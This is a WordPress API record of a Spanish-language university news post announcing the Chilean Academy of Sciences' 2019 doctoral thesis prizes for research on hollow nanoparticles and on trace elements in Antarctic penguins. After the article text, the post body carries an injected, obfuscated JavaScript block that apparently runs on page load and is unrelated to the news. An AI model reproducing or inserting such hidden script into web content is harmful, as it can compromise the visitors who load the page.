{"id":3321,"date":"2020-08-10T21:21:17","date_gmt":"2020-08-11T00:21:17","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=3321"},"modified":"2020-08-10T21:21:17","modified_gmt":"2020-08-11T00:21:17","slug":"academia-chilena-de-ciencias-da-a-conocer-a-cientificos-premiados-por-su-tesis-de-doctorado","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/academia-chilena-de-ciencias-da-a-conocer-a-cientificos-premiados-por-su-tesis-de-doctorado\/2020\/3321\/","title":{"rendered":"Academia Chilena De Ciencias da a conocer a cient\u00edficos premiados por su Tesis de Doctorado"},"content":{"rendered":"<p>La Academia Chilena de Ciencias, a trav\u00e9s de su presidenta, la Doctora Mar\u00eda Cecilia Hidalgo, anunci\u00f3 los resultados del premio Tesis de Doctorado 2019, tanto en las \u00e1reas de Ciencias Naturales, como en la de Ciencias Exactas.<\/p>\n<p>Es as\u00ed como el galard\u00f3n recay\u00f3 en Felipe Valencia, Dr. en Ciencias con menci\u00f3n en F\u00edsica de la Universidad de Chile, para Ciencias Exactas; y Winfred Espejo, Dr. en Ciencias Ambientales con menci\u00f3n en Sistemas Acu\u00e1ticos Continentales de la Universidad de Concepci\u00f3n, para Ciencias Naturales.<\/p>\n<div id=\"attachment_7508\" class=\"wp-caption alignleft\">\n<p><a href=\"http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Espejo-e1597089216737.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-7508\" src=\"http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Espejo-e1597089216737.jpg\" sizes=\"auto, (max-width: 256px) 100vw, 256px\" srcset=\"http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Espejo-e1597089216737.jpg 2422w, http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Espejo-e1597089216737-768x862.jpg 768w\" alt=\"\" width=\"256\" height=\"287\" \/><\/a><\/p>\n<p class=\"wp-caption-text\"><em>D<\/em><em>r. Felipe Valencia, premio Tesis de Doctorado, \u00e1rea Ciencias Exactas.<\/em><\/p>\n<\/div>\n<p>La Presidenta de la Academia, felicit\u00f3 a quienes obtuvieron la distinci\u00f3n por ser \u201cun aporte al desarrollo de la ciencia en nuestro pa\u00eds. Hemos querido promover y destacar a estos j\u00f3venes investigadores, inst\u00e1ndolos a que contin\u00faen sus investigaciones, en cada una de sus \u00e1reas\u201d.<\/p>\n<div class=\"mceTemp\"><\/div>\n<p><strong>Premio Ciencias Exactas<\/strong><\/p>\n<p>El Dr. Felipe Valencia, quien en la actualidad es acad\u00e9mico de la Facultad de Estudios Interdisciplinarios de la Universidad Mayor, present\u00f3 la tesis \u201cEstudio de Nanopart\u00edculas Huecas\u201d, que busca entender y describir el comportamiento t\u00e9rmico y mec\u00e1nico de nanopart\u00edculas huecas met\u00e1licas y sus potenciales aplicaciones en el almacenamiento de energ\u00eda, recubrimiento de superficies, o incluso como materiales resistentes al da\u00f1o por irradiaci\u00f3n.<\/p>\n<p>Seg\u00fan explic\u00f3 el docente, \u201cdurante el desarrollo de la tesis notamos que este tipo de sistemas no solo puede ser definido como un material ultraliviano, sino que tambi\u00e9n posee una alta resistencia mec\u00e1nica y un potencial para la autoreparaci\u00f3n bajo ciertas condiciones de temperatura y presi\u00f3n extrema\u00bb.<\/p>\n<p><strong>Premio Ciencias Naturales<\/strong><\/p>\n<div id=\"attachment_7507\" class=\"wp-caption alignright\">\n<p><a href=\"http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Valencia-e1597089330292.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-7507 \" src=\"http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Valencia-e1597089330292.jpg\" sizes=\"auto, (max-width: 319px) 100vw, 319px\" srcset=\"http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Valencia-e1597089330292.jpg 780w, http:\/\/www.academiadeciencias.cl\/wp-content\/uploads\/2020\/08\/Dr.-Valencia-e1597089330292-768x827.jpg 768w\" alt=\"\" width=\"319\" height=\"344\" \/><\/a><\/p>\n<p class=\"wp-caption-text\"><em>Dr. WInfred Espejo, Premio Tesis de Doctorado \u00e1rea de Ciencias Naturales<\/em><\/p>\n<\/div>\n<p><strong>El Dr. Winfred Espejo, quien realiza estudios de postdoctorado en la Facultad de Ciencias Veterinarias de la Universidad de Concepci\u00f3n,<\/strong> present\u00f3 la tesis \u201cEstudio De Elementos Traza En Ecosistemas Acua?ticos De La Peni?nsula Anta?rtica\u201d, en el que se evalu\u00f3 las concentraciones de elementos traza (ETs) en ping\u00fcinos, el rol de los ping\u00fcinos en el biotransporte de ETs y la trofodin\u00e1mica de Cadmio y T\u00e1ntalo (Ta). Los resultados de esta investigaci\u00f3n fueron publicados en prestigiosas revistas cient\u00edficas, tales como Nature, Environmental Science &amp; Technology Letters y Review environmental contamination toxicology.<\/p>\n<p>\u201cEntre los resultados, lo que m\u00e1s se destac\u00f3, fue evidenciar por primera vez la biomagnificaci\u00f3n de T\u00e1ntalo, elemento que es utilizado cada vez m\u00e1s en nuevas tecnolog\u00edas, lo que lo hace potencialmente toxico, ya que sus concentraciones se incrementan a mayor escala tr\u00f3fica. Este hallazgo abre enormes perspectivas en el estudio de estos elementos en el medioambiente\u201d, coment\u00f3 el Dr. Espejo.<\/p>\n<p>El Premio Tesis de Doctorado se otorga desde el a\u00f1o 1997 y tiene por objetivo contribuir a la promoci\u00f3n de la ciencia en el pa\u00eds e incentivar a los estudiantes de doctorado, valorando su trabajo investigativo en el desarrollo de su tesis.<\/p>\n<p>El a\u00f1o 2019 se recibieron m\u00e1s de 40 tesis de alta calidad, donde se escogieron dos ganadores que deber\u00e1n presentar sus trabajos ante los miembros de la Academia en la ceremonia de premiaci\u00f3n que se realiza anualmente.\u00a0Para quienes deseen participar este a\u00f1o, se abrir\u00e1n las postulaciones a fines de agosto, lo cual se informar\u00e1 con anticipaci\u00f3n.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return 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Es as\u00ed como el galard\u00f3n recay\u00f3 en Felipe Valencia, Dr. en Ciencias con menci\u00f3n en F\u00edsica de la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3327,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,9],"tags":[],"class_list":["post-3321","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destacados","category-noticias"],"_links":{"self":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3321","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/comments?post=3321"}],"version-history":[{"count":0,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3321\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media\/3327"}],"wp:attachment":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media?parent=3321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/categories?post=3321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/tags?post=3321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}